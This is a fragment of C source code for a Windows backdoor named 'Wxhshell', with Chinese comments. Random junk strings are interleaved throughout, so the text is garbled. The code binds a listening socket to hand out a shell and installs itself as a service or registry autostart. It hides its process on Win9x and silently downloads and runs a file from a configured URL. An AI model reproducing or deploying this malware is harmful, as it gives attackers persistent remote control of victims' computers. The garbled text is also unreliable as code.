#Z HMODULE hMod; 6[]O3Aa char procName[255]; g+ cH unsigned long cbNeeded; \'P79=AU hJoh5DIE95 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kNUNh[ JjBlje CloseHandle(hProcess); a+`;:tX, jbu+> if(strstr(procName,"services")) return 1; // 以服务启动 n'<F'1SWv FzQ6UO~' return 0; // 注册表启动 ~" U^N:I" } _I#a`G @Yzb6@g" // 主模块 od]1:8OF int StartWxhshell(LPSTR lpCmdLine) !;&{Q^} { 4]ETF+ SOCKET wsl; qa/VSk!{ BOOL val=TRUE; 6w$pL( int port=0; Wg=4`&F^ struct sockaddr_in door; bqm%@*fZo ne'Y {n(8% if(wscfg.ws_autoins) Install(); >Te h ?P jRSY`MU}t+ port=atoi(lpCmdLine); bBXUD;$ TM`6:5ONv if(port<=0) port=wscfg.ws_port; M[5fNK&nD _{0IX WSADATA data; :3 By7BZgj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4*_. m9{ q-d#bKIf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;Qdw$NuW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?8@EBPpC door.sin_family = AF_INET; C_V5.6T! door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Q>wcE6v door.sin_port = htons(port); oD7^9=# ?89_2W if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iq:
G9M closesocket(wsl); kZH IzU return 1; Om C
F8:\/ } Vi\kB% #(Ezt% ^ if(listen(wsl,2) == INVALID_SOCKET) { g,""j` closesocket(wsl); >`D$Jz, return 1; 3`DwKv`+ } .V\:)\<| Wxhshell(wsl); {,zn#hU.R WSACleanup(); !ZTBiC5R 2W vf[2Xw return 0; RI-)Qx&!f lc\f6J>HT } VW *d*! R7~#7qKQB // 以NT服务方式启动 #tQ__V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _16IP { i[a1ij= DWORD status = 0; |GnqfD DWORD specificError = 0xfffffff; 2]f?c%)I Pvu*Y0_p serviceStatus.dwServiceType = SERVICE_WIN32; t{Xf3. serviceStatus.dwCurrentState = SERVICE_START_PENDING;
n>:|K0u" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dSw%Qv*y serviceStatus.dwWin32ExitCode = 0; ~xV|<; serviceStatus.dwServiceSpecificExitCode = 0; `%A>{ A" serviceStatus.dwCheckPoint = 0; x#,nR]C serviceStatus.dwWaitHint = 0; x^P ~+(g oV Hh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -/ h'uG if (hServiceStatusHandle==0) return; `u7"s' 15tT%TC status = GetLastError(); sDzlNMr?P+ if (status!=NO_ERROR) -iJ @K { OXCf serviceStatus.dwCurrentState = SERVICE_STOPPED; %$H~ serviceStatus.dwCheckPoint = 0; w*7BiZ{s< serviceStatus.dwWaitHint = 0; 52>,JHq serviceStatus.dwWin32ExitCode = status; ~k[q:$T serviceStatus.dwServiceSpecificExitCode = specificError; F1UTj"<e SetServiceStatus(hServiceStatusHandle, &serviceStatus); AEr8^6 return; `'
"125T } Dhy@!EOS 6Om)e=gU/ serviceStatus.dwCurrentState = SERVICE_RUNNING; huw|J<$ serviceStatus.dwCheckPoint = 0; BmGY#D, serviceStatus.dwWaitHint = 0; d0MF\yxh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B>"O~ gZ{# } &]mZp& $^;b
1bnO // 处理NT服务事件,比如:启动、停止 c[QXc9 VOID WINAPI NTServiceHandler(DWORD fdwControl) 2N$yn { uw,p\:D& switch(fdwControl) N!
N>/9 { {D9m>B3"{ case SERVICE_CONTROL_STOP: e;ej/)no` serviceStatus.dwWin32ExitCode = 0; vq&u19iP serviceStatus.dwCurrentState = SERVICE_STOPPED; ~xSAR;8 serviceStatus.dwCheckPoint = 0; bO2s'!x serviceStatus.dwWaitHint = 0; O)E8'Oe"Q { lE@ V>%b SetServiceStatus(hServiceStatusHandle, &serviceStatus); IxQ(g#sj_k } .3JLa8y return; R<GnPN:c case SERVICE_CONTROL_PAUSE: ]gHi5]\NC serviceStatus.dwCurrentState = SERVICE_PAUSED; 50l!f7 break; [hl8LP+~ case SERVICE_CONTROL_CONTINUE: CCQ38P@rv serviceStatus.dwCurrentState = SERVICE_RUNNING; qB0F9[U break; ~&
@UH case SERVICE_CONTROL_INTERROGATE: 2a3RRP break; +4Uxq{.K }; v3`k?jAaI SetServiceStatus(hServiceStatusHandle, &serviceStatus); }KZt7) } Arzyq_ Yk )* \N[zm // 标准应用程序主函数 [_pw|BGp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !lk
-MN. { 1'G&PX
nGqD{!i< // 获取操作系统版本 )*wM
DM5q OsIsNt=GetOsVer(); UHh7x%$n GetModuleFileName(NULL,ExeFile,MAX_PATH); } qf=5v vTdJe // 从命令行安装 +"i|)yUYy} if(strpbrk(lpCmdLine,"iI")) Install(); e2X\ll =5v=<, ] // 下载执行文件 ZHWxU if(wscfg.ws_downexe) { Z@G[\"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k+D"LA%J WinExec(wscfg.ws_filenam,SW_HIDE); Uf
?._&: } J:!m49fF Ww[Xqmg if(!OsIsNt) { m/T3Um // 如果时win9x,隐藏进程并且设置为注册表启动 (1pR= HideProc(); P d"=&Az| StartWxhshell(lpCmdLine); %\|9_=9Wn } 7^2 else a^ __Z3g, if(StartFromService()) ?m(]@6qa // 以服务方式启动 s)L\D$;+O StartServiceCtrlDispatcher(DispatchTable); K|{IX^3)V else 6Kbc:wlR // 普通方式启动 s
IE2a0+ StartWxhshell(lpCmdLine); RZgklEU D["~G v return 0; e` QniTkT }
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